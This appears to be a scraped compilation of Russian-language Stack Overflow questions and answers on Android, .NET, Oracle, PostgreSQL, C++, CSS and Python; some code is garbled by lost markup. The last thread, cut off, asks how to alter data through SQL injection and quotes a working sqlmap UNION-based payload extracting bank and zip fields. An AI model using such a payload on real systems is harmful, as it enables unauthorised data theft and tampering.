5511-5511/ru.abityrienty.vyzi W/dalvikvm: threadid=1: thread exiting with uncaught exception (group=0x41854da0) 04-28 22:22:49.578 5511-5511/ru.abityrienty.vyzi E/AndroidRuntime: FATAL EXCEPTION: main Process: ru.abityrienty.vyzi, PID: 5511 java.lang.OutOfMemoryError at android.graphics.BitmapFactory.nativeDecodeAsset(Native Method) at android.graphics.BitmapFactory.decodeStream(BitmapFactory.java:693) at android.graphics.BitmapFactory.decodeResourceStream(BitmapFactory.java:518) at android.graphics.drawable.Drawable.createFromResourceStream(Drawable.java:889) at android.content.res.Resources.loadDrawable(Resources.java:3457) at android.content.res.Resources.getDrawable(Resources.java:1921) at android.widget.ImageView.resolveUri(ImageView.java:666) at android.widget.ImageView.setImageURI(ImageView.java:409) at android.support.v4.widget.SimpleCursorAdapter.setViewImage(SimpleCursorAdapter.java:201) at android.support.v4.widget.SimpleCursorAdapter.bindView(SimpleCursorAdapter.java:147) at android.support.v4.widget.CursorAdapter.getView(CursorAdapter.java:273) at android.widget.AbsListView.obtainView(AbsListView.java:2713) at android.widget.ListView.makeAndAddView(ListView.java:1811) at android.widget.ListView.fillDown(ListView.java:697) at android.widget.ListView.fillGap(ListView.java:661) at android.widget.AbsListView.trackMotionScroll(AbsListView.java:6693) at android.widget.AbsListView$FlingRunnable.run(AbsListView.java:5692) at android.view.Choreographer$CallbackRecord.run(Choreographer.java:813) at android.view.Choreographer.doCallbacks(Choreographer.java:613) at android.view.Choreographer.doFrame(Choreographer.java:582) at android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:799) at android.os.Handler.handleCallback(Handler.java:733) at android.os.Handler.dispatchMessage(Handler.java:95) at android.os.Looper.loop(Looper.java:146) at android.app.ActivityThread.main(ActivityThread.java:5593) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1283) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1099) at dalvik.system.NativeStart.main(Native Method)
Натыкался вот на такое, но не совсем понял как воплотить в жизнь:
The real solution involves:
Ensuring that you have profiled your app's allocations and are not leaking memory Ensuring that you have profiled your app's allocations and are not leaking memory You are not holding references to Bitmaps via a hidden or non-displayed Fragment, View, etc.. in such a way that they can not be collected and released You are using a Bitmap cache (i.e. LruCache) to manage how many Bitmaps are been held in memory at any give time That the Bitmaps that are actually being held in memory are sized appropriately for the device's resolution, i.e.: Resizing content on the device on the fly and file caching the results Dynamically via the web service that you are requesting them from
Переделанный адаптер для получения BLOB
import android.content.Context; import android.content.res.Resources; import android.database.Cursor; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.drawable.BitmapDrawable; import android.graphics.drawable.Drawable; import android.support.v4.widget.SimpleCursorAdapter; import android.widget.ImageView;
public class ListOfVyziAdapter extends SimpleCursorAdapter {
/** * It's important to place column where you store images on the first place * of the @from array */
Context ctx; // String [] columns = {0="img_src",1="for main_text", 2="for sub_text"} String [] columns;
public ListOfVyziAdapter(Context context, int layout, Cursor c, String[] from, int[] to, int flags) { super(context, layout, c, from, to, flags); ctx = context; columns = from; }
@Override public void setViewImage(ImageView v, String value) {
v.setImageDrawable(imageForList(getCursor())); }
private Drawable imageForList(Cursor cur){
byte [] blob = cur.getBlob(cur.getColumnIndex(columns[0])); Bitmap bitmap = BitmapFactory.decodeByteArray(blob, 0, blob.length); return new BitmapDrawable(Resources.getSystem(), bitmap); } }


Ответ

Для того чтоб бороться с OOM вначале вам необходимо создать такую возможность.
Определите свой адаптер, иначе вам очень сложно(невозможно) контролировать процесс биндинга(bind) Blob из Sql в ImageView, а так у вас появится возможность контролировать размер изображения, применить компрессию, сделать кеширование, и самое главное учесть возможность выделения памяти для разных устройств. Для простоты можно использовать готовые решения, которые уже зарекомендовали себя например Glide там будет проще сделать, в Picasso не поддерживается load для byte[] или Bitmap, только Drawable и Url.

Изъять данные при нажатии на ListView

Есть ListView, в него вложен layout. Получается список. По нажатию я могу изъять id, но как изъять оттуда данные, которые записанные в TextView?
listView.setOnItemLongClickListener (new AdapterView.OnItemLongClickListener () { @Override public boolean onItemLongClick(AdapterView parent, View view, int position, long id) { curItem = id; view. return false; } });


Ответ

В метод onItemLongClick()вам передается вторым параметром View view. Это view нажатого пункта ListView. Из него можно и получить TextView по id с помощью findViewById(id). Примерно вот так это будет выглядеть:
@Override public boolean onItemLongClick(AdapterView adapterView, View view, int position, long arg3){ TextView textView = (TextView) view.findViewById(R.id.idВашегоTextView); }
А затем всё просто: textView.getText().toString();
Так же у адаптера есть метод getItem(position), который вернет по позиции данные текущего айтема. Этот способ наиболее эффективен.

Собрать универсальное C# приложение

Недавно сделал для себя открытие - при сборке .NET-приложения я могу выбрать разрядность целевой платформы. Полез читать в интернеты, и все, что я понял - так это то, что ничего я не понял.
Сам я java-ист. С детства думал, что не важно, для чего собирать, важно, какой разрядности jvm. Но тут, видимо, все иначе...
Прошу помочь с такой проблемой:
Нужно собрать приложение, которое использует стороннюю c++ библиотеку. Для библиотеки доступны 32 и 64-битные .dll-ки. От приложения не требуется сверхпроизводительности, так что и 32-битная версия меня устроит.
Могу ли я собрать свой проект как 32-битный с использованием лишь 32-битной .dll и рассчитывать на то, что все это дело будет работать как в 32-битной, так и в 64-битной системе? И если нет, то как лучше сделать?
И пара второстепенных вопросов, которые помогут мне понять, что я делаю:
Собранное для 64-битной системы .NET приложение ведь будет невозможно запустить в 32-битной системе, или же это работает слегка иначе, чем с нативными приложениями?
Верно ли я понимаю, что приложения, собранные для систем разной разрядности, запускаются на разных виртуальных машинах, и, как следствие, на 64-битной версии windows установлены виртуальные машины CLR двух разрядностей?


Ответ

Все именно так как и кажется: 32х-разрядная версия будет работать почти' где угодно, 64х-разрядная потребует 64х-разрядную систему.
Однако, если у вас есть обе версии чужой библиотеки - то лучше оставить свою сборку не привязанной к разрядности (AnyCPU), а при загрузке библиотеки загружать ту, которая соответствует разрядности текущего процесса.
Подробности - вот тут: Подгрузка разных dll в зависимости от разрядности системы

' 32х-разрядная версия не будет работать на 64х-разрядной системе без поддержки 32х-разрядных приложений, например такое возможно на Windows Server Core (спасибо PetSerAl за уточнение)

Как убрать лишние нули JS [дубликат]

На данный вопрос уже ответили: Числа, начинающиеся с нуля, в JavaScript 2 ответа При записи числа с лишними нулями результат получается неожиданным:
let i = 000042; console.log(i); // 34
причем разные числа уменьшаются на разные значения. Как это можно поправить?


Ответ

https://developer.mozilla.org/bm/docs/Web/JavaScript/Guide/Grammar_and_types
Leading 0 (zero) on an integer literal, or leading 0o (or 0O) indicates it is in octal. Octal integers can include only the digits 0-7.
То есть
Ноль (или 0о, или 0О) в начале записи числа указывает на то, что число записано в восьмеричном виде.
Откуда в Вашем javascript-е берутся числа в такой записи?

Что изменить в запросе чтобы сортировка была наоборот?

Я совсем недавно в более-менее живом программировании.
Я в другом вопросе получил строку
Directory.GetDirectories(@pathDoc) .ToDictionary( x => x, x => Directory.GetCreationTime(x)) .OrderBy(x => x.Value) .Select(x => x.Key) .ToArray();`
она работает.
Что нужно изменить, чтобы сортировка была в обратную сторону? Сейчас в массиве самый старый наверху, как сделать наоборот?


Ответ

Попробуйте OrderByDescending, вместо OrderBy
Т.е.:
Directory.GetDirectories(@pathDoc) .ToDictionary(x => x, x => Directory.GetCreationTime(x)) .OrderByDescending(x => x.Value) .Select(x => x.Key) .ToArray();

Как составить дерево выражения для лямбды?

Контекст — этот вопрос: Сортировка по DayOfWeek, неделя начинается с понедельника
Хочется отрефакторить код сортировки и вместо непонятной лямбды
s => ((int)s.DayOfWeek + 6) % 7
написать что-то вроде
s => GetDayNumberInWeek(s.DayOfWeek, weekStartsWith: DayOfWeek.Monday)
Выясняется, что деревья выражений не поддерживают именованные параметры, т.е. придется писать менее понятно:
s => GetDayNumberInWeek(s.DayOfWeek, DayOfWeek.Monday)
Пусть так, но как это сделать? Если написать
static int GetDayNumberInWeek(DayOfWeek dayOfWeek, DayOfWeek weekStartsWith) { int daysInWeek = 7; return ((int)dayOfWeek + daysInWeek - (int)weekStartsWith) % daysInWeek; }
То сортировка, понятно, начнет выполняться на клиентской стороне, а этого не хочется.
Если я возвращаю из метода любой Expression, то EF ругается на отсутствие реализации IComparable
Есть ли вообще решение у такой задачи?


Ответ

Вам нужно генерировать всю лямбду целиком, а не только правую часть.
На более простом примере, чтобы не шумело создание Body:
Пусть у вас есть:
context.Schedules .OrderBy(s => s.DayOfWeek) .ToList();
И вы хотите строить key selector для динамически:
Выносим селектор целиком:
context.Schedules .OrderBy(BuildKeySelector()) .ToList();
private static Expression> BuildKeySelector() { return s => s.DayOfWeek; }
И разворачиваем сгенерированный код:
context.Schedules .OrderBy(BuildDayOfWeekSelector()) .ToList();
private static Expression> BuildDayOfWeekSelector() { var parameter = Expression.Parameter(typeof(Schedule), "s"); // левая часть
// правая часть, тут должно быть более сложное дерево var body = Expression.MakeMemberAccess( parameter, typeof(Schedule).GetProperty("DayOfWeek"));
var lambda = Expression.Lambda>(body, parameter);
return lambda; }
Если надо отвязать BuildDayOfWeekSelector от Schedule - просто сделайте его Generic (но придется указывать тип при вызове).
private static Expression> BuildDayOfWeekSelector() { var parameter = Expression.Parameter(typeof(T), "s"); // левая часть
var body = Expression.MakeMemberAccess( // правая часть parameter, typeof(T).GetProperty("DayOfWeek"));
var lambda = Expression.Lambda>(body, parameter);
return lambda; }
Остаток динамики - параметр weekStartsWith - спускайте параметром в BuildKeySelector и используйте при построении body как Expression.Constant(weekStartsWith);
Точное дерево, которое надо строить руками, можно легко подсмотреть - сделать extract local для сгенерированной компилятором лямбды, и развернуть ее в отладчике.

Java цикл foreach

Есть функция foo, которая возвращает массив bar. Будет ли одинакова последовательность работы у цикла foreach, если в качестве иттерируемого объекта передать foo и bar? Будет ли вызваться функция foo каждый раз или условно закешируется?


Ответ

Работать будет одинаково. При вызове for (Object a : foo()) {} у вас сначала один раз вызовется метод, по результату которого пойдёт итерирование. foreach - всего лишь "синтаксический сахар" для создания итератора и дальнейшего его использования. Т.е. "под капотом" это:
Iterator it = foo().iterator(); while(it.hasNext()) { it.next(); }

Вывести несколько значений из запроса в одну переменную

Есть таблица cred:
| parent_id | id | clientID | +-----------+-------+----------+ | | 28741 | 28850 | | 28741 | 28611 | 28850 | | 28741 | 28612 | 28850 | | | 28742 | 28850 |
Мне нужно записать в переменную vc_credits 2 id, где parent_id пустой. Мой запрос:
begin select id into vr_cr from cred where clientID = 28850 and parent_id is null exception when too_many_rows then vc_credits : = vr_cr||','||vr_cr; end;
Ожидаемый результат в переменной: vc_credits = 28741,28742


Ответ

Так можно в цикле с неявным курсором:
declare vc_credits varchar2 (32676); begin for r in ( select id from cred where clientID = 28850 and parent_id is null ) loop vc_credits := vc_credits||','||r.id; end loop; dbms_output.put_line ('result='||ltrim (vc_credits,',')); end; /
Или одним запросом без цикла:
select listagg (id, ',') within group (order by id) res from cred where clientID = 28850 and parent_id is null ; RES ----------------- 28741,28742

А так одним запросом в одну переменную:
declare vc_credits sys.odciNumberList; begin select id bulk collect into vc_credits from cred where clientID = 28850 and parent_id is null ; for r in ( select * from cred c join table (vc_credits) t on t.column_value = c.id ) loop dbms_output.put_line ('credit id='||r.id); end loop; end; /
credit id=28741 credit id=28742

PostgreSQL. Можно ли очистить очень большую таблицу, если на диске нет места?

Собственно, вопрос в заголовке. PostgreSQL 10. Есть большая таблица на несколько десятков гигабайт и несколько сотен миллионов записей. А вот места на диске совсем нет (пару сотен мегабайт).
Есть ли какие-нибудь колдовские заклинания, чтобы из этой таблички почистить все или часть записей, не имея свободного места?


Ответ

Да, колдовские заклинания есть.
С полной очисткой таблицы справится truncate, требующий на диске только несколько десятков килобайт (под новую пустую таблицу, индексы, да занести информацию в WAL), но только полная очистка.
Если необходимо удалить не всё, но места нет - то необходимо делать:
delete всего более ненужного vacuum tablename пустые update нужных строк частями, ничего на самом деле не изменяющие
update tablename set column=column where ... такие update пометят строки удалёнными где те были и создадут копию в начале таблицы последующий vacuum tablename сможет возвращать место операционной системе если в конце таблицы остались только пустые страницы без живых данных
Основной фокус - придумать как перемещать только строки из конца таблицы. Индексы же только перестраивать. Можно через удаление и построение обратно, раз всё равно авария и места для работы нет.
Проблема у этого метода если у вас распухла не сама табличка, а её TOAST часть. Тогда таким способом не лечится.

Существует специально обученный perl скрипт pgcompacttable специально написанной для сжатия таблиц в условиях недостатка дискового места и автоматизирующий описанные манипуляции манипуляции.

Почему std::isnan() возвращает false для переменной double равной NAN?

Я решил использовать в качестве дефолтного значения параметра функции NAN(так же пробовал std::numeric_limits::quiet_NaN()), но когда попытался проверить его с помощью std::isnan, функция вернула false. В то же время я выводил значение переменной с помощью qDebug() в консоль, где напечаталось значение - nan
Так же пробовал проверить на NAN используя правило нанов, которое голасит, что NAN всегда не равен NAN. Это сработало для неравнества NAN != NAN, но не для x != x. Во втором случае результат был отрицательный.
Последней попыткой было определение переменной внутри используемой функции со значением NAN и проверка ее обоими способами на равенство NAN. Результаты те же, false.
Совершенно не могу понять в чем может быть дело.
Пример:
double abc = NAN; qDebug()<< abc << (abc != abc) << std::isnan(abc);
Вывод:
nan false false
UPD: Проверил возможность такого использования NAN на cpp.sh и там все оказалось хорошо. Пока что думаю, что может быть не так с проектом.


Ответ

Проблему вызывает использование -ffast-math. Я не знал, что мы используем ее в нашем проекте. Для данной проблемы нет решения, если вы используете -ffast-math. Не используйте NAN в паре с быстрой математикой.

Парсинг xml с большой вложенностью python

есть xml типа
<Список> <Актуальный список> <Заключение> <Объект> <Объект> <Объект> <Заключение> <Объект>
Блоков "Заключение" достаточно большое количество, а подблоков "Объект" в этих блоках не фиксировано. На данный момент код парсит только первые подблоки и дальше не проваливается. Как реализовать проверку всех подблоков и возможную более глубокую вложенность? Заранее спасибо за ответ.
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim:fileencoding=utf-8 import xml.etree.ElementTree as ET import csv
tree = ET.parse("data.xml") root = tree.getroot()
# открываем файл для записи
file_out = open('file_out.csv', 'w', newline='')
# создаем шапку csvwriter = csv.writer(file_out, delimiter=';') columns = ["AdditionalReason","StartDate"] csvwriter.writerow(columns) count = 0 for member in root.find('АктуальныйСписок').findall('Заключение'): mass =[] # AdditionalReason additional_reason = member.find('ВидЗаключения').find('Идентификатор').text mass.append('приостановление' if additional_reason == '1' else '') # StartDate start_date = member.find('ДатаЗаключения').text mass.append(start_date) csvwriter.writerow(mass) count += 1 file_out.close()


Ответ

Используйте функцию iter для поиска на любов уровне вложенности нужного тега.
Модифицированный файл:
<Список> <АктуальныйСписок> <Заключение> <Объект/> <Объект/> <Объект/> <Заключение> <Объект/> <Другое> <Второе> <Заключение> <Объект/> <Объект/> <Объект/>
Код:
import xml.etree.ElementTree as ET
tree = ET.parse("data.xml") root = tree.getroot()
# Поиск тегов <Заключение> на любом уровне for member in root.iter('Заключение'): print(member)
# Перебор детей <Объект> for obj in member.findall('Объект'): print(' ', obj)
print()
Консоль:


Как убрать теги из запроса ajax

Есть ajax запрос в js файле на выполнение скрипта php. Результат выполнения нужно вывести в консоль в виде:
Фамилия1 Имя1 Счёт1 Фамилия2 Имя2 Счёт2
Но по ходу выполнения моего кода выходит это:

Фамилия1 Имя1 Счёт1
Фамилия2 Имя2 Счёт2

Запрос ajax:
var tutajax = $.ajax("dobavl.php") .done(function(data) { console.log(data); }) .fail(function() { console.log("ne ochen"); });
Код PHP:
$query = 'SELECT fname, sname, score FROM records'; $result = mysql_query($query) or die('Запрос не удался: ' . mysql_error());
echo "
"; while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { echo "\t
"; foreach ($line as $col_value) { echo "\t\t
"; } echo "\t
"; } echo "
$col_value

"; mysql_free_result($result); mysql_close($link); ?>


Ответ

Вариант 1. Переделать код PHP, чтобы он возвращал данные в нужном формате/виде.
Вариант 2. Не переделывать код PHP:
var tutajax = $.ajax("dobavl.php") .done(function(data) { $(data).find("tr").each(function() { var rowValues = []; $(this).find("td").each(function(){ rowValues.push($(this).text()); }); console.log(rowValues.join(" ")); }); }) .fail(function() { console.log("ne ochen"); });

Добавить лидирующие пробелы для чисел

Как в Oracle SQL добавить лидирующие пробелы для чисел? Можете поделится литературой по Oracle SQL? Язык русский/английский.


Ответ

Воспользуйтесь функцией LPAD()
select lpad(to_char(numeric_column_name), 8, ' ') from ...
8 в данном примере - длина целевой строки.
PS убежден, что лучшая документация по Oracle - это Oracle Online Documentation

Как добавить столбец вида TIMESTAMP заданного формата

Как в таблицу ORDERS добавить столбец ORDERDATE с заданным форматированием? Либо как сменить формат у уже существуещего столбца?
alter TABLE ORDERS ADD ORDERDATE TIMESTAMP 'YYYY-MM-DD HH24:MI:SS'


Ответ

Oracle хранит данные в БД в бинарном виде, поэтому когда речь заходит о форматировании DATE/TIMESTAMP подразумевается ввод и вывод - т.е. как показывать данные при выводе (SELECT) и как их парсить при вводе (INSERT / UPDATE).
Обычно это делается на стороне клиента:
для типа DATE:
alter session set NLS_DATE_FORMAT="YYYY-MM-DD HH24:MI:SS";
для типа TIMESTAMP:
alter session set NLS_TIMESTAMP_FORMAT="YYYY-MM-DD HH24:MI:SS";
для типа TIMESTAMP WITH TIME ZONE:
alter session set NLS_TIMESTAMP_TZ_FORMAT="YYYY-MM-DD HH24:MI:SS";
PS очень советую задуматься об использовании TIMESTAMP WITH TIME ZONE - это поможет избежать многих проблем, особенно если данные будут храниться для/из нескольких различных временных поясов.

Также можно управлять настройками по умолчанию при помощи переменной окружения ОС - NLS_TERRITORY - формат даты будет установлен в наиболее распространенный для данной страны.

Как при увеличении одного блока сделать так чтобы он не толкал другой блок

Возможно ли сделать так, чтобы при увеличении одного блока он не толкал другой блок без использования position: absolute? Как видите я тут поставил еще margin-top: 200px, но он всё равно толкает вниз h1
У меня такая ситуация, что в верстке увеличивается целый блок громадный, а ему position: absolute нельзя задать. Рассматриваются любые другие варианты.
img { width: 100px; transition: width 1s ease-in-out; } img:hover { width: 200px; } h1 { margin-top: 200px; }

another element



Ответ

Можно с помощью transform: scale(n);
img { width: 100px; transition: transform 1s ease-in-out; transform-origin: 0 0 0; } img:hover { transform: scale(2); } h1 { margin-top: 200px; }

another element


Случайный лес и бэггинг деревьев решений

Запрограммировала случайный лес и бэггинг деревьев решений.
Что-то видимо не правильно потому, что процент несовпадений выдает одинаковое число для трех методов, и при изменении выборки ничего не происходит.
Как правильно должна выглядеть программа? Надо ли отдельно реализовать бэггинг и деревья решений?
Код:
import numpy as np import pandas as pd from sklearn.model_selection import cross_val_score from sklearn.cross_validation import train_test_split from sklearn.ensemble.forest import RandomForestClassifier from sklearn.ensemble import BaggingClassifier from sklearn.tree import DecisionTreeClassifier data = pd.read_csv('C:\\Users\\Vika\\Downloads\\1500.csv', ";",decimal =',', skipinitialspace=True) data.head() kfold = 10 itog_val1 = {} itog_val2 = {} itog_val3 = {} itog_val4 = {} itog_val5 = {} itog_val6 = {} X = data.drop('Y1', axis=1).values[:, :8] y = data['Y1'].values X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) print ('обучающая выборка X:
', X_train[:6]) print ('
') print ('y_train У:
', y_train[:10]) print ('
') print ('тестовая выборка Х:
', X_test[:6]) print ('
') print ('y_test У
', y_test[:10]) first_tree = RandomForestClassifier(n_estimators=100) scores = cross_val_score(first_tree, X_train, y_train, cv=kfold) itog_val1 = scores print(itog_val1) first_tree1 = DecisionTreeClassifier(max_depth=1) scores = cross_val_score(first_tree, X_train, y_train, cv=kfold) itog_val4 = scores print(itog_val4) first_tree.fit(X_train, y_train) first_tree.score(X_test, y_test) y_test_predicted = first_tree.predict(X_test) print ('RandomForestClassifier X
', X_test[:9]) print ('
') print ('RandomForestClassifier y
', y_test[:11]) first_tree1.fit(X_train, y_train) first_tree1.score(X_test, y_test) y_test_predicted = first_tree1.predict(X_test) print ('DecisionTreeClassifier X
', X_test[:9]) print ('
') print (' DecisionTreeClassifier y
', y_test[:11]) first_bagging.fit(X_train, y_train) first_bagging.score(X_test, y_test) y_test_predicted = first_bagging.predict(X_test) print ('BaggingClassifier X
', X_test[:9]) print ('
') print (' BaggingClassifier y
', y_test[:11]) res = pd.DataFrame(np.column_stack((y_test, y_test_predicted, X_test)), columns=['Y1','YR'] + data.columns[1:9].tolist()) (res['Y1']!= res['YR']).mean() res1 = pd.DataFrame(np.column_stack((y_test, y_test_predicted, X_test)), columns=['Y1','YD'] + data.columns[1:9].tolist()) (res1['Y1']!= res1['YD']).mean() res2 = pd.DataFrame(np.column_stack((y_test, y_test_predicted, X_test)), columns=['Y1','YB'] + data.columns[1:9].tolist()) (res2['Y1']!= res2['YB']).mean()


Ответ

Вы создали три DataFrame из одних и тех же данных:
res = pd.DataFrame(np.column_stack((y_test, y_test_predicted, X_test)), columns=['Y1','YR'] + data.columns[1:9].tolist()) ... res1 = pd.DataFrame(np.column_stack((y_test, y_test_predicted, X_test)), columns=['Y1','YD'] + data.columns[1:9].tolist()) ... res2 = pd.DataFrame(np.column_stack((y_test, y_test_predicted, X_test)), columns=['Y1','YB'] + data.columns[1:9].tolist())
как следствие процент несовпадений - одинаковый

Как преобразовать логические False, True в 1, 0?

Есть ли функция для преобразования булевых значений в числовые?
Только мне нужно, чтобы False -> 1, а True -> 0 В принципе можно и replace использовать, но хочется найти более красивый способ.


Ответ

Пример:
Исходный DataFrame:
In [19]: df = pd.DataFrame({'col':np.random.choice([True, False], 10)})
In [20]: df Out[20]: col 0 False 1 True 2 True 3 False 4 False 5 True 6 False 7 False 8 True 9 False
решение:
In [22]: df['col'] = (-df['col']).astype(np.int8)
In [23]: df Out[23]: col 0 1 1 0 2 0 3 1 4 1 5 0 6 1 7 1 8 0 9 1
In [24]: df.dtypes Out[24]: col int8 dtype: object
альтернативный вариант:
In [27]: df['col'] = (~df['col']).astype(np.uint8)
In [28]: df Out[28]: col 0 1 1 0 2 0 3 1 4 1 5 0 6 1 7 1 8 0 9 1

constexpt function with anonymous union in C++

Всем привет!
Сейчас у меня такой код:
// Source.hpp
/** * @brief Method that checks the endian type on the system. * @return DATA_LITTLE_ENDIAN(0x02) - if on the system little endian, otherwise - DATA_BIG_ENDIAN(0x01). */ static inline DATA_ENDIAN_TYPE CheckSystemEndian(void) noexcept { const union { const uint16_t value; const uint8_t data[sizeof(uint16_t)]; } endian { 0x0102 }; return static_cast(endian.data[0]); }
Class Foo { static const DATA_ENDIAN_TYPE system_endian; }
// Source.cpp inline const DATA_ENDIAN_TYPE BinaryDataEngine::system_endian = CheckSystemEndian();
Что требуется: Мне хочется решать эту задачу в compile-time, следовательно необходимо переделать функция CheckSystemEndian() на constexp. Однако в этой задаче мне очень мешает union
Ошибка следующая:
constexpr function never produces a constant expression. Read of member 'data' of union with active member 'value' is not allowed in a constant expression.
Подсткажите, пожалуйста, способ, как можно добиться требуемой функциональности в compile-time. Спасибо.


Ответ

Насколько я знаю, определить порядок байт (endianness) на этапе компиляции невозможно в принципе (стандартными средствами). Тут нужен reinterpret_cast, а он не считается constexpr выражением.
В С++20 для этого появится std::endian, и можно будет писать так:
#include
constexpr bool is_big_endian = std::endian::native == std::endian::big; constexpr bool is_little_endian = std::endian::native == std::endian::little;
Дожидаясь С++20, можно использовать нестандартные фичи компиляторов. Например, GCC умеет так:
constexpr bool is_big_endian = __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__; constexpr bool is_little_endian = __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__;

Кроме того, у вас в программе неопределенное поведение, ведь С++, в отличие от С, не позволяет читать из неактивного поля union'а. Пруф.
Вот пример, как можно исправить код:
static inline DATA_ENDIAN_TYPE CheckSystemEndian(void) noexcept { const uint16_t value = 0x0102; return static_cast((uint8_t &)value); }
К тому же, так он еще и места меньше занимает.

Нужно ли в REST API выносить названия методов в отдельный файл с настройками?

Пишу rest api на spring. Контроллеры оборачиваю в @RequestMapping, а имена методов захардкодены. Например @RequestMapping("register"). Стоит ли их выносить в *.properties файл или есть более "спринговый" способ? Понимаю, что вопрос может показаться довольно глупым, просто хочу услышать мнение посторонних.


Ответ

Можно создать такой класс:
public final class BaseApi {
public static final String REGISTER = "/register"; public static final String LOGIN = "/login"; public static final String LOGOUT = "/logout";
private BaseApi() { //prevents instantiation } }
И потом при создании контроллера использовать статические импорты. Это нужно для того, чтобы ваши тесты и контроллеры использовали одинаковые константы. Если вы их захардкодите, то при изменении урл, вам понадобится менять и во всех остальных классах, а с таким подходом - только в одном классе.

Как повернуть два треугольника, чтобы их вершины лежали максимально близко?

Допустим имеется два разных треугольника с общим центром и имеется задача повернуть один треугольник так, что бы его вершины лежали максимально близко к вершинам другого треугольника.
У меня есть идея только того, что чтобы найти новые координаты фигуры, нужно минимизировать расстояния между вершинами первого треугольника и второго (т.е. взять производную и приравнять нулю), однако как действовать дальше не знаю ..


Ответ

Будем пользоваться полярными координатами. Зададим 2 треугольника парами значений в полярных координатах:


Угол поворота второго треугольника относительно первого:
Так как у вас нет четкого условия про минимальное расстояние, возьмем сумму квадратов расстояний (визуально это должен быть наилучший вариант). Используя формулу для расстояния между 2 точками на полярных координатах получаем такие квадраты расстояний:



Мы должны найти минимум функции сумм этих 3 величин. В нас здесь много констант, что бы упростить формулу, положим:







И тогда наша сумма квадратов расстояний примет вид:

Возьмем производную, что бы найти экстремумы функции:

Если расписать синус разницы, то получим:

Положим:


И получим:

Такое уравнение легко решить, если взять такой угол , что:


Тогда уравнение примет вид:

Такое легко решить. Дальше нужно повторить все это, смещая точки второго треугольника: сначала сместить на 1 (первая точка станет второй, вторая третьей и т. д.), потом на 2.

Как сделать скошенный угол у прямоугольника?

Необходимо карточке, с border'ом и фоном (всё на css), сделать срез у верхнего левого угла и, чтобы у него был такой же border. Пробовал clip-path. Возможно нужно использовать псевдоэлемент или SVG?

.Card { margin: 23px 0 0 80px; width: 320px; height: 480px; border: 4px solid #2ea8e6; border-radius: 10px; background-color: #f2f2f2; overflow: hidden; float: left; position: relative; clip-path: polygon(15% 0, 100% 0, 100% 0, 100% 100%, 100% 100%, 0 100%, 0 100%, 0 10%); }


Ответ

Решение через CSS3
Это можно сделать при помощи CSS3 clip-path, но согласно документации в Safari (WebKit), в Edge и в Internet Explorer это в данное время работать не будет.
Для того чтобы это сделать нам понадобится 2 прямоугольника (div), которые лежат один в другом. Внутренний прямоугольник расположен с помощью position: absolute сверху, а внешний выступает в качестве обводки (border), т.к. на 4px (x2) больше внутреннего. Оба они обрезаются с помощью CSS3 clip-path
Подробнее о свойстве clip-path читайте тут
.card-border { margin:14px; position: relative; width: 328px; height: 488px; background-color: #2ea8e6; border-radius: 14px; clip-path: polygon(15% 0, 100% 0, 100% 100%, 0 100%, 0 10%); } .card { position: absolute; top: 4px; /* соответствует ширине border */ left: 4px; /* соответствует ширине border */ width: 320px; /* container width - (ширина border * 2) */ height: 480px; /* container height - (ширина border * 2) */ background-color: #f2f2f2; border-radius: 11px; clip-path: polygon(14.7% 0, 100% 0, 100% 100%, 0 100%, 0 9.7%); }


Обратите внимание на то, что значения у внутреннего clip-path: polygon должны быть немного меньше.
Решение через SVG
Другое решение с помощью SVG clip-path более предпочтительнее, т. к. работает в большинстве современных обозревателях сети. Вы можете SVG файл применить в качестве background для div, в котором будут ваши данные.

Sql injection Update query как изменить данные

Имеется запрос который вытаскивает данные пользователя с БД. Сам запрос (SQLMAP):
blabla' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT CONCAT(0x71786a6b71,IFNULL(CAST(bank AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(row AS CHAR),0x20),0x6b68676b7876,IFNULL(CAST(zip AS CHAR),0x20),0x71626a7671) FROM base.table LIMIT 12,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Вывожу какой вид имеет полный SQL запрос:
